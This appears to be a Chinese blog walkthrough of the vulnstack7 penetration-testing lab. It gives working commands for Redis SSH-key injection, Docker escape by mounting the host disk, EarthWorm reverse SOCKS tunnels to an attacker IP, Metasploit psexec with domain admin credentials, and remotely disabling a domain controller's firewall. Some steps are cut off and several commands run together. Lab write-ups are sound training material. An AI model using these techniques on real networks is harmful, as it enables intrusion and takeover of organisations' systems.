红日安全团队推出的vulnstack7靶场是一个高度仿真的企业内网渗透测试环境。这个靶场最吸引我的地方在于它采用了三层网络隔离架构,完美模拟了现实中企业常见的DMZ区、办公区和核心数据区的网络划分方式。
我们先来看下这个靶场的网络拓扑结构。最外层是DMZ区,部署着一台Ubuntu服务器(Web1),这台机器配置了双网卡:一块桥接网卡对外提供服务,另一块连接VMnet8虚拟网络。中间层是第二网络区域,包含另一台Ubuntu服务器(Web2)和Windows 7主机(PC1),它们也都配置了双网卡分别连接VMnet8和VMnet14。最内层是第三网络区域,部署着域控制器Windows Server 2012和另一台Windows 7主机(PC2),它们只连接VMnet14网络。
在搭建环境时,有几个关键配置需要注意:
信息收集永远是渗透测试的第一步。使用nmap对目标网段进行扫描后,我们发现目标主机开放了6379 Redis端口。Redis未授权访问是近年来非常常见的一个高危漏洞,主要原因在于管理员没有为Redis配置认证密码,并且将服务绑定在了0.0.0.0地址上。
利用这个漏洞,我们可以直接通过redis-cli连接目标Redis服务。接下来就是经典的SSH公钥注入攻击:
ssh-keygen -t rsa(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > key.txtcat key.txt | redis-cli -h 目标IP -x set xxxcode复制config set dir /root/.ssh
config set dbfilename authorized_keys
save
成功获取SSH访问权限后,我在目标服务器上发现了nginx的配置文件,显示81端口的流量被反向代理到了内网的192.168.52.20服务器。这个发现为我们后续的内网渗透提供了重要跳板。
通过访问81端口,我们发现了一个Laravel 8.29.0搭建的Web应用。这个版本的Laravel存在CVE-2021-3129漏洞,可以利用其Debug模式下的日志功能实现远程代码执行。
我推荐使用GitHub上开源的Exp工具来利用这个漏洞。实际操作中需要注意:
在容器内获得root权限后,我们面临Docker逃逸的挑战。由于这个容器是以特权模式运行的,我们可以直接挂载宿主机磁盘:
code复制mkdir /gz
mount /dev/sda1 /gz
通过将SSH公钥写入宿主机的authorized_keys文件,我们成功逃逸到宿主机环境。这里有个小技巧:如果挂载失败,可以先尝试umount设备后再重新挂载。
现在我们已经控制了DMZ区的Web1和第二层网络的Web2。由于网络隔离,我们需要搭建代理通道才能继续深入内网。
首先使用EarthWorm工具建立SOCKS5反向代理:
./ew_for_linux64 -s rcsocks -l 1080 -e 1234nohup ./ew_for_linux64 -s rssocks -d 攻击机IP -e 1234echo "socks5 127.0.0.1 1080" >> /etc/proxychains4.conf通过代理扫描发现192.168.52.30运行着通达OA V11.3。这个版本存在多个漏洞,我们可以通过以下步骤利用:
在获取Windows 7 PC1的控制权后,我们收集到域环境信息:
为了渗透第三层网络,我们需要建立更复杂的代理链:
./ew_for_linux64 -s lcx_listen -l 1090 -e 1235ew_for_Win.exe -s ssocksd -l 999./ew_for_linux64 -s lcx_slave -d 攻击机IP -e 1235 -f PC1_IP -g 999有了代理通道后,我们可以扫描93网段。虽然尝试永恒之蓝漏洞失败,但我们已经掌握了域管理员凭据。通过psexec模块成功获取域控权限:
code复制use exploit/windows/smb/psexec
set rhosts 192.168.93.30
set SMBUser administrator
set SMBPass Whoami2021
set payload windows/meterpreter/bind_tcp
exploit
在实际测试中,可能会遇到防火墙阻挡。这时可以通过已控制的PC1远程关闭域控防火墙:
code复制net use \\192.168.93.30\ipc$ "Whoami2021" /user:"Administrator"
sc \\192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\192.168.93.30 start unablefirewall
最后,使用Cobalt Strike的横向移动功能,我们成功控制了整个内网的所有主机。整个渗透过程涉及Web漏洞利用、权限提升、网络代理搭建、横向移动等多种技术,完整再现了真实攻防对抗中的经典场景。